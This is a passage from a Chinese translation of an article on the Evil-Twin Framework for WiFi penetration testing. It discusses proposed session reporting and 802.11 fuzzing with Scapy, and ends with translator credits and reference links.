当前 WiFi 手动测试的一个限制是无法在测试期间记录重要的事件。这使得报告已经识别到的漏洞更加困难且准确性更低。这个框架可以实现一个登陆器，每个类都可以来访问它并创建一个手动测试会话报告。
|
||||
|
||||
ETF 工具的功能涵盖了 WiFi 手动测试的方方面面。一方面，它让 WiFi 目标侦察，漏洞挖掘和攻击这些阶段变得更加容易。另一方面，它没有提供一个便于提交报告的功能。增加会话的概念和会话报告的功能，比如在一个会话期间记录重要的事件，会极大地增加这个工具对于真实手动测试场景的价值。
|
||||
|
||||
另一个有价值的贡献是扩展框架来促进 WiFi 模糊测试。IEEE 802.11 协议非常的复杂，考虑到它在客户端和接入点两方面都会有多种实现方式。可以假设这些实现都包含 bug 甚至是安全漏洞。这些 bug 可以通过对 IEEE 802.11 协议的数据帧进行模糊测试来进行发现。因为 Scapy 允许自定义的数据包创建和数据包注入，可以通过它实现一个模糊测试器。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: https://opensource.com/article/19/1/evil-twin-framework
|
||||
|
||||
作者：[André Esser][a]
|
||||
选题：[lujun9972][b]
|
||||
译者：[hopefully2333](https://github.com/hopefully2333)
|
||||
校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||||
|
||||
[a]: https://opensource.com/users/andreesser
|
||||
[b]: https://github.com/lujun9972
|
||||
[1]: https://en.wikipedia.org/wiki/Rogue_access_point
|
||||
[2]: https://www.python.org/
|
||||
[3]: https://scapy.net
|
||||
[4]: /file/417776
|
||||
[5]: https://opensource.com/sites/default/files/uploads/pic1.png (Evil-Twin Framework Architecture)
|
||||
[6]: https://www.metasploit.com
|
||||
[7]: /file/417781
|
||||
[8]: https://opensource.com/sites/default/files/uploads/pic2.png (Scenario for capturing a WPA handshake after a de-authentication attack)
|
||||
[9]: https://en.wikipedia.org/wiki/Address_Resolution_Protocol
|
||||
[10]: /file/417786
|
||||
[11]: https://opensource.com/sites/default/files/uploads/pic3.png (Scenario for capturing a WPA handshake after a de-authentication attack)
|
||||
[12]: /file/417791
|
||||
[13]: https://opensource.com/sites/default/files/uploads/pic4.png (Scenario for capturing a WPA handshake after a de-authentication attack)
|
||||
[14]: https://github.com/Esser420/EvilTwinFramework
|
||||
Loading…
Reference in New Issue
Block a user